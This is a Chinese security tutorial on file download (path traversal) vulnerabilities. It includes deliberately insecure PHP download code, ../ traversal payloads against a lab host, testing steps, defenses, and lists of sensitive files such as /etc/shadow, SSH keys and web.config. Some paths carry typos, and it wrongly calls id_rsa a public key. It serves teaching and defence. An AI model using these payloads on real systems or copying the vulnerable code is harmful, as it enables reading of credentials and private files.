文件下载漏洞, 漏洞原理, 测试方法, 漏洞防御, 常见敏感路径
文件下载漏洞
一, 文件下载漏洞原理
利用条件:
1. 读取文件的路径是用户可控, 且没有校验或检验不严.
2. 使用了读取文件的函数.
3. 输出了文件内容.
漏洞场景一:
后端没有限制哪些路径的文件可以下载
后端代码:
http://192.168.112.200/security/download.php
$file_path = $_GET['filename'];
echo file_get_contents($file_path); // 直接在页面上显示文件内容
Header("Content-type: application/octet-stream"); // 设置响应头为下载而不是读取内容
// 下载后的文件名, 如果不设置默认名称是download.php
Header("Content-Disposition: attachment; filename=".basename($file_path));
重点是添加上 "Content-type: application/octet-stream" 响应头后, 向服务器请求的文件就变成自动下载.
漏洞利用:
这里filename参数是用户可控的, 通过这个参数就可以下载其他目录文件, 比如下载passwd文件:
http://192.168.112.200/security/download.php?filename=/etc/passwd
或利用../回溯上级目录, 无论当前在哪一级目录都可能回溯到根目录:
http://192.168.112.200/security/download.php?filename=../../../../../../etc/passwd
漏洞场景二:
后端限制文件允许下载的目录
后端代码:
// 对提交的文件路径前面做了目录拼接, 只允许下载upload目录内的文件
$file_path = "upload/{$_GET['filename']}";if(!file_exists($file_path)){die("你要下载的文件不存在,请重新下载");
}$fp = fopen($file_path, "rb");
$file_size = filesize($file_path);//下载文件需要的响应头
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));// 当文件较大时, 需要循环读取文件流,然后返回到浏览器
// feof() 函数确认是否读到了末尾EOF
$buffer = 1024; // 每次读取的大小
$file_count = 0;
while(!feof($fp) && $file_count<$file_size){$file_con = fread($fp,$buffer);echo $file_con;$file_count += $buffer;
}
fclose($fp);
漏洞利用:
这里如果直接提交upload之外的路径文件读取不到, 例如:
http://192.168.112.200/security/download.php?filename=/etc/passwd
那么后端拼接之后是: upload/etc/passwd, 读取不到.
使用../回溯上级目录绕过:
http://192.168.112.200/security/download.php?filename=/../../../../../../../etc/passwd
那么后端拼接之后是: upload//…/…/…/…/…/…/…/etc/passwd
二, 文件下载漏洞的测试方法.
- 发送文件资源请求, 抓包观察参数, 是否有
file, filename, page, url, path等名称, 可能是文件路径参数. - 尝试提交
../../../../../etc/passwd类似的参数来下载常见的系统敏感文件, 如果成功说明存在漏洞.
三, 文件下载漏洞防御:
- 过滤特殊的字符点
".", 避免用户在url中可以回溯上级目录. - 对用户输入的参数做严格打的正则校验, 限制访问的目录.
- 在php.ini文件中配置
open_basedir, 限制文件访问的目录.
四, 常见的系统敏感路径文件:
# linux:
/root/.ssh/authorized_keys //ssh登录认证文件
/root/.ssh/id_rsa //公钥文件
/root/.ssh/id_rsa.keystore //密钥存放文件
/root/.ssh/known_hosts //已访问过的主机公钥记录文件
/etc/passwd //用户信息
/etc/shadow //密码存放文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配黑文件
/root/.bash_history //记录系统历史命令文件
/root/.mysq1_history //记录数据库历史命令文件
/proc/self/fd/fd[0-9](文件标识符) //连接当前正运行的进程
/proc/mounts //已挂载的文件系统信息
/porc/config.gz //内核配置文件# windows:
C:\boot.ini //查看系统版本
C:windows\win.ini //基本系统配置文件
C:\windows\System32\inetsrv\MetaBase.xm] //IIS配需文件
C:\windows\repair\sam //存储系统初次安装的密码
C:\ProgramFiles\mysq1\my.ini //Mysql配置
C:\ProgramFiles mysq1\data\mysq]\user.MYD //Mysqlroot
C:\windows\php.ini //php配置信息
C:\windows\my.ini //Mysql配置信息
五, 常见的网络服务器敏感路径文件
1. tomcat, jsp
1. tomcat-users.xm1(用户配置文件)tomcat-users.xm]认在conf目录下,或许可以直接使用下戟点下载该文件。http://目标网站/down.isp?filename=tomcat-users.xml&path=C:/Program Files/Apache SoftwareFoundation/Tomcat 6.0/conf/tomcat-users.xm]2. web.xm](网站配器文件》Jsp网站配黑文件默认放在根目录WEB-INF/Web.xm下(一般都有很多内容有时含有数据库连接用户名和密码等关键信息)http://目标站点/file.do?method=downFile&fileName=../WEB-INF/Web.xml
2. php
php一般是mysq1数据库,一般mysq1数据库禁止远程连接,但是有些站点会使用使用phpMyAdmin进行管理。
下载数据库配置文件:
http://目标站点/download.php?filename=../conf/config.php&dir=/&title=config.php
3. asp
http://目标站点/download.asp?filename=../../inc/conn.asp(数据库配置文件)
http://目标站点/download.asp?filename=../../download.asp(网站配置文件)
http://目标站点/download.asp?filename=../../Admin_login.asp(用户登录界面)
http://目标站点/database/xxxx.mdb(数据库路径)
4. aspx
web.config文件《网站配置文件)
aspx站点用根目录下的web.config文件保存配置信息,尝试构造确定根目录:http://目标站点/DownLoadFileLow.aspx?FileName=../web.config
相关文章:
文件下载漏洞, 漏洞原理, 测试方法, 漏洞防御, 常见敏感路径
文件下载漏洞 一, 文件下载漏洞原理 利用条件: 1. 读取文件的路径是用户可控, 且没有校验或检验不严. 2. 使用了读取文件的函数. 3. 输出了文件内容.漏洞场景一: 后端没有限制哪些路径的文件可以下载 后端代码: http://192.168.112.200/security/download.php $file_pat…...
【零参考GAN:Pansharpening】
ZeRGAN: Zero-Reference GAN for Fusion of Multispectral and Panchromatic Images (用于多光谱和全色图像融合的零参考GAN) 本文提出了一种融合低空间分辨率多光谱(LR MS)和高空间分辨率全色(PAN)图像的新的全色锐化方法–零参考生成对抗网络(ZeRGAN…...
Nacos 注册中心介绍与实操
前言 本文为个人SpringCloud学习笔记,主要记录Nacos的注册中心实操、SpringBoot多模块编程实操等 注册中心 注册中心介绍 注册中心是微服务的一个重要组件,用于实现服务的注册与发现,主要作用包括以下: 服务注册:…...
基于51单片机的智能手机充电器设计
**单片机设计介绍,1660【毕设课设】基于51单片机和MAX1898的智能手机充电器设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 51单片机智能手机充电器设计介绍 51单片机智能手机充电器是一种可以实现智能快速充电的…...
nginx 和gateway配置实现动静分离和反向代理
这两个配置文件分别是Nginx和Spring Cloud Gateway的配置文件,它们用于构建网关服务,进行请求的路由和转发。 前端发送请求的时候为了不暴露服务器地址,所以会使用nginx做反向代理的一个主要作用是隐藏后端服务器的真实地址,从而增加网络安全…...
【深度学习实验】网络优化与正则化(二):基于自适应学习率的优化算法详解:Adagrad、Adadelta、RMSprop
文章目录 一、实验介绍二、实验环境1. 配置虚拟环境2. 库版本介绍 三、实验内容0. 导入必要的库1. 随机梯度下降SGD算法a. PyTorch中的SGD优化器b. 使用SGD优化器的前馈神经网络 2.随机梯度下降的改进方法a. 学习率调整b. 梯度估计修正 3. 梯度估计修正:动量法Momen…...
系统韧性研究(3)| 工程系统韧性要求
从最基本的层面上说,系统韧性指的是系统在逆境中继续执行其任务的程度。虽然对操作连续性至关重要,但系统的服务(能力)只是系统继续执行其任务所必须保护的一些资产。该系统必须检测不利因素,对其作出反应,…...
.net 5 发布后swagger页面不显示问题
1:项目右键属性-》生成xml--用于swagger文件读取 2:开启文件配饰swagger读取指定文件...
Spring Boot 3 整合 xxl-job 实现分布式定时任务调度,结合 Docker 容器化部署(图文指南)
目录 前言初始化数据库Docker 部署 xxl-job下载镜像创建容器并运行访问调度中心 SpringBoot 整合 xxl-jobpom.xmlapplication.ymlXxlJobConfig.java执行器注册查看 定时任务测试添加测试任务配置定时任务测试结果 结语附录xxl-job 官方文档xxl-job 源码测试项目源码 前言 xxl-…...
1985-2020年我国30m土地利用覆盖数据介绍
土地覆盖(LC)决定了地球各圈层之间的能量交换、水和碳循环。准确的 LC 信息是环境和气候研究的基本参数。考虑到在过去几十年中,随着经济建设的发展,中国发生了巨大的变化,连续和精细的 LC 监测是迫切需要的。然而,目前࿰…...
Django 社区志愿者管理系统
摘 要 随着社会的发展,社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 社区志愿者服务管理系统,主要的模块包括查看首页、个人中心、通知公告管理、志愿者管理、普通管理员管理、志愿活动管理、活动宣…...
wordpress如何修改数据库里用户ID下一个自增值的开始数字
有时候我们为了让别人认为网站有很多注册用户,会想把网站用户ID的起始数改大一点,因为WP默认的用户ID是从1开始,注册一个就加1,这样别人就很容易知道网站的用户量。 那么如何改呢?首先进phpmyadmin,找到wp…...
利用chatgpt大语言模型来做数据预处理
数据预处理是机器学习中的一个重要步骤,包括数据清洗、数据转换、特征选择等。这些步骤通常需要人工进行,或者使用专门的数据预处理工具和库,如Python的Pandas库、Scikit-learn库等。 今天我们将利用chatgpt(国内版本-小策智能问答)的辅助帮…...
【机器学习】五、贝叶斯分类
我想说:“任何事件都是条件概率。”为什么呢?因为我认为,任何事件的发生都不是完全偶然的,它都会以其他事件的发生为基础。换句话说,条件概率就是在其他事件发生的基础上,某事件发生的概率。 条件概率是朴…...
k8s 资源管理方式
k8s中资源管理方式可以划分为下面的几种:命令式对象管理、命令式对象配置、声明式对象配置。 命令式对象管理 命令式对象管理:直接使用命令的方式来操作k8s资源, 这种方式操作简单,但是无法审计和追踪。 kubectl run nginx-pod --imagengi…...
Golang Gin 接口返回 Excel 文件
文章目录 1.Web 页面导出数据到文件由后台实现还是前端实现?2.Golang Excel 库选型3.后台实现示例4.xlsx 库的问题5.小结参考文献 1.Web 页面导出数据到文件由后台实现还是前端实现? Web 页面导出表数据到 Excel(或其他格式)可以…...
实战之巧用header头
案例: 遇到过三次 一次是更改accept,获取到tomcat的绝对路径,结合其他漏洞获取到shell。 一次是更改accept,越权获取到管理员的MD5加密,最后接管超管权限。 一次是更改accept,结合参数获取到key。 这里以越…...
[AUTOSAR][诊断管理][ECU][$36] 数据传输
文章目录 一、简介二、服务请求报文定义三、服务请求报文中参数定义(1)blockSequenceCounter(2)transferRequestParameterRecord三、肯定响应(1)blockSequenceCounter(2)transferResponseParameterRecord四、支持的NRC五、示例代码36_transfer_data.c一、简介 这个服务…...
sw 怎么装新版本
我们在安装solidworks时,有时候会提示A newer version of this applic ation is already installed. Installation stopped.如下图所示 这时候需要点继续安装 然后会出现下图所示情况,vba7.1安装未成功 这是因为我们电脑中以前安装过更高版本的solidw…...
正点原子嵌入式linux驱动开发——Linux 音频驱动
音频是最常用到的功能,音频也是linux和安卓的重点应用场合。STM32MP1带有SAI接口,正点原子的STM32MP1开发板通过此接口外接了一个CS42L51音频DAC芯片,本章就来学习一下如何使能CS42L51驱动,并且CS42L51通过芯片来完成音乐播放与录…...
使用VSCode开发Django指南
使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架,专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用,其中包含三个使用通用基本模板的页面。在此…...
SkyWalking 10.2.0 SWCK 配置过程
SkyWalking 10.2.0 & SWCK 配置过程 skywalking oap-server & ui 使用Docker安装在K8S集群以外,K8S集群中的微服务使用initContainer按命名空间将skywalking-java-agent注入到业务容器中。 SWCK有整套的解决方案,全安装在K8S群集中。 具体可参…...
Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)
目录 1.TCP的连接管理机制(1)三次握手①握手过程②对握手过程的理解 (2)四次挥手(3)握手和挥手的触发(4)状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...
CentOS下的分布式内存计算Spark环境部署
一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架,相比 MapReduce 具有以下核心优势: 内存计算:数据可常驻内存,迭代计算性能提升 10-100 倍(文档段落:3-79…...
转转集团旗下首家二手多品类循环仓店“超级转转”开业
6月9日,国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解,“超级…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
【ROS】Nav2源码之nav2_behavior_tree-行为树节点列表
1、行为树节点分类 在 Nav2(Navigation2)的行为树框架中,行为树节点插件按照功能分为 Action(动作节点)、Condition(条件节点)、Control(控制节点) 和 Decorator(装饰节点) 四类。 1.1 动作节点 Action 执行具体的机器人操作或任务,直接与硬件、传感器或外部系统…...
Caliper 配置文件解析:config.yaml
Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...
【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...
Element Plus 表单(el-form)中关于正整数输入的校验规则
目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入(联动)2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...
